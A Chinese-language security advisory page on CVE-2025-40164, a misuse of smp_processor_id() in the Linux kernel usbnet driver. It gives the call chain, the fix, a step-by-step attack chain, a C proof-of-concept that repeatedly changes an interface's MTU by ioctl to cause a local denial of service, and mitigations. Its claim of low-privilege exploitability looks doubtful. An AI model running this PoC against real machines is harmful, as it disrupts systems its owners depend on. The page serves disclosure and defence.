IPBUF安全漏洞报告
English
CVE-2025-40164 CVSS 5.5 中危

Linux内核usbnet驱动smp_processor_id()在可抢占代码中的误用漏洞

披露日期: 2025-11-12
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-40164
漏洞类型
竞争条件/内核API误用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核usbnet驱动

相关标签

Linux内核usbnet驱动smp_processor_id竞争条件内核API误用本地拒绝服务CVE-2025-40164Syzbot软中断保护

漏洞概述

CVE-2025-40164是Linux内核中的一个中等严重性漏洞,位于drivers/net/usb/usbnet.c文件中的usbnet驱动组件。该漏洞源于在可抢占代码上下文中不当使用smp_processor_id()函数,导致内核发出警告并可能引发系统不稳定。smp_processor_id()函数设计用于在非抢占环境中获取当前CPU ID,但在usbnet_skb_return()函数中调用时可能处于可抢占的上下文中,这违反了内核编程规范。该漏洞由Syzbot模糊测试工具发现,表现为在执行dhcpcd进程时触发BUG警告。虽然该漏洞主要导致可用性问题(高可用性影响),但其本质是一个代码正确性问题,需要在内核代码中添加适当的同步保护机制来修复。

技术细节

漏洞的核心问题在于usbnet_skb_return()函数(位于drivers/net/usb/usbnet.c:331)中调用了smp_processor_id(),但该函数可能在可抢占的上下文中被调用。从Syzbot报告的堆栈跟踪可以看出,调用链为:dhcpcd进程 → dev_ioctl() → dev_ifsioc() → dev_set_mtu() → netif_set_mtu() → __dev_set_mtu() → usbnet_change_mtu() → usbnet_resume_rx() → usbnet_skb_return()。在usbnet_change_mtu()调用usbnet_resume_rx()时,代码路径可能处于进程上下文中而非中断或软中断上下文。修复方案是在usbnet_resume_rx()函数中添加local_bh_disable()/local_bh_enable()保护,以禁用软中断抢占,确保smp_processor_id()在正确的上下文中执行。这是一种典型的内核并发控制问题,需要开发者显式管理抢占状态以保证内核API的正确使用。

攻击链分析

STEP 1
步骤1
攻击者获得目标系统的本地访问权限,需要低权限用户账户
STEP 2
步骤2
识别系统上使用usbnet驱动的USB网络设备接口(如通过ifconfig或ip命令)
STEP 3
步骤3
通过ioctl系统调用执行SIOCSIFMTU操作,触发dev_ioctl -> dev_ifsioc -> dev_set_mtu调用链
STEP 4
步骤4
在usbnet_change_mtu()中调用usbnet_resume_rx(),该函数在可抢占上下文中执行
STEP 5
步骤5
usbnet_skb_return()调用smp_processor_id(),由于处于可抢占上下文,触发内核BUG警告
STEP 6
步骤6
重复触发可导致内核警告信息泛滥,严重情况下可能导致系统不稳定或拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2025-40164 // This is a local denial of service PoC that triggers the smp_processor_id() warning // by changing MTU on a USB network interface managed by usbnet driver #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> int main(int argc, char *argv[]) { int sockfd; struct ifreq ifr; if (argc != 2) { printf("Usage: %s <interface_name>\n", argv[0]); return 1; } // Create socket for ioctl sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { perror("socket creation failed"); return 1; } memset(&ifr, 0, sizeof(struct ifreq)); strncpy(ifr.ifr_name, argv[1], IFNAMSIZ-1); // Repeatedly change MTU to trigger the warning // This exercises the usbnet_change_mtu -> usbnet_resume_rx -> usbnet_skb_return path for (int i = 0; i < 100; i++) { // Set MTU to trigger usbnet_change_mtu ifr.ifr_mtu = 1500 + (i % 100); if (ioctl(sockfd, SIOCSIFMTU, &ifr) < 0) { perror("ioctl SIOCSIFMTU failed"); } // Small delay to allow scheduling usleep(1000); // Set MTU back ifr.ifr_mtu = 1500; if (ioctl(sockfd, SIOCSIFMTU, &ifr) < 0) { perror("ioctl SIOCSIFMTU failed"); } } close(sockfd); return 0; }

影响范围

Linux kernel < 6.15.0-rc4 (包含615dca38c2ea之前版本)
Linux kernel stable 6.14.x (受影响)
Linux kernel LTS版本 (需要确认具体版本号)

防御指南

临时缓解措施
如果无法立即升级内核,可通过以下方式缓解:1) 避免在USB网络接口上频繁更改MTU;2) 限制普通用户对网络接口配置的操作权限;3) 使用容器或虚拟机隔离可能触发漏洞的应用程序;4) 在内核日志中监控系统警告信息。由于该漏洞需要本地访问且影响有限,建议优先安排内核升级计划。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表